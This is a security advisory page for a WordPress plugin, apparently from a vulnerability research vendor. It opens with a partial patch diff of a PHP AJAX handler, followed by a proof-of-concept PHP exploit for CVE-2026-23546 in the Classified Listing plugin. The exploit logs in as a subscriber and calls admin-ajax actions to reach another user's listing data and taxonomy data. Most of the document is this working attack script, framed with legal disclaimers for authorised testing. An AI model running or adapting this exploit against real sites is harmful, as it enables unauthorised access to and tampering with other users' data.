-		$q = !empty( $_POST['q'] ) ? sanitize_text_field( $_POST['q'] ) : '';
-		$withHasChildren = !empty( $_POST['withHasChildren'] );
-		$orderby = strtolower( Functions::get_option_item( 'rtcl_archive_listing_settings', 'taxonomy_orderby', 'name' ) );
-		$order = strtoupper( Functions::get_option_item( 'rtcl_archive_listing_settings', 'taxonomy_order', 'DESC' ) );
-		$taxonomy = isset( $_POST['taxonomy'] ) && in_array( $_POST['taxonomy'], [
+		$parentId        = isset( $_POST['parentId'] ) ? ( $_POST['parentId'] == 0 ? 0 : absint( $_POST['parentId'] ) ) : '';
+		$excludeIds      = ! empty( $_POST['excludeIds'] ) && is_array( $_POST['excludeIds'] ) ? array_map( 'absint', $_POST['excludeIds'] ) : [];
+		$q               = ! empty( $_POST['q'] ) ? sanitize_text_field( $_POST['q'] ) : '';
+		$withHasChildren = ! empty( $_POST['withHasChildren'] );
+		$orderby         = strtolower( Functions::get_option_item( 'rtcl_archive_listing_settings', 'taxonomy_orderby', 'name' ) );
+		$order           = strtoupper( Functions::get_option_item( 'rtcl_archive_listing_settings', 'taxonomy_order', 'DESC' ) );
+		$taxonomy        = isset( $_POST['taxonomy'] )
+		                   && in_array( $_POST['taxonomy'], [
 			rtcl()->tag,
 			rtcl()->category,
-			rtcl()->location
+			rtcl()->location,
 		] ) ? $_POST['taxonomy'] : rtcl()->category;
-		$number = isset( $_POST['number'] ) ? absint( $_POST['number'] ) : 0;
+		$number          = isset( $_POST['number'] ) ? absint( $_POST['number'] ) : 0;
 		if ( $parentId === '' && $q ) {
-			if ( !empty( $excludeIds ) ) {
+			if ( !

Proof of Concept (PHP)

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Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

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PHP PoC 
// ==========================================================================
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// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-23546 - Classified Listing – AI-Powered Classified ads & Business Directory Plugin <= 5.3.4 - Authenticated (Subscriber+) Sensitive Data Exposure

<?php

$target_url = 'http://vulnerable-wordpress-site.com';
$username = 'subscriber_user';
$password = 'subscriber_password';
$target_listing_id = 123; // ID of another user's listing

// Step 1: Authenticate to WordPress
$login_url = $target_url . '/wp-login.php';
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In'
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);

// Step 2: Exploit the vulnerable AJAX endpoint to access another user's listing data
$post_data = [
    'action' => 'rtcl_update_listing',
    'listingId' => $target_listing_id,
    'formData' => 'title=Exploit&description=Test&category[]=1',
    'isAdminEnd' => '0'
];

curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_REFERER, $target_url . '/wp-admin/');
$response = curl_exec($ch);

// Parse the response
$data = json_decode($response, true);
if ($data && isset($data['success']) && $data['success']) {
    echo "[+] Successfully accessed listing ID: $target_listing_idn";
    echo "[+] Response data: " . print_r($data, true) . "n";
} else {
    echo "[-] Exploit failed. Response: " . $response . "n";
}

// Step 3: Attempt to access taxonomy data as unauthenticated user (if enabled)
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POSTFIELDS, [
    'action' => 'rtcl_fb_get_tags',
    'search' => '',
    'page' => 1
]);
curl_setopt($ch, CURLOPT_COOKIEFILE, ''); // Clear cookies for unauthenticated request
$response = curl_exec($ch);

$tax_data = json_decode($response, true);
if ($tax_data && is_array($tax_data)) {
    echo "[+] Retrieved sensitive taxonomy data: " . count($tax_data) . " itemsn";
}

curl_close($ch);

?>

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